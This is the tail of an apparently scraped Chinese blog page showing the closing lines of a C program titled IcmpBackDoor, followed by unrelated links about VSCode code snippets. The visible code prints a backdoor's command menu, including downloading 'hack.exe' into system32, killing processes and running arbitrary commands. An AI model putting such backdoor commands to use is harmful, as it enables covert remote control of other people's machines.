199     printf("[http://127.0.0.1/hack.exe -admin.exe]  (Download Files. Parth is ////system32)
");
200     printf("[pslist]        (List the Process)
");
201     printf("[pskill ID]     (Kill the Process)
");
202     printf("Command         (run the command)
"); 
203     printf("
");
204  
205 }
View Code

 

以上是关于IcmpBackDoor的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数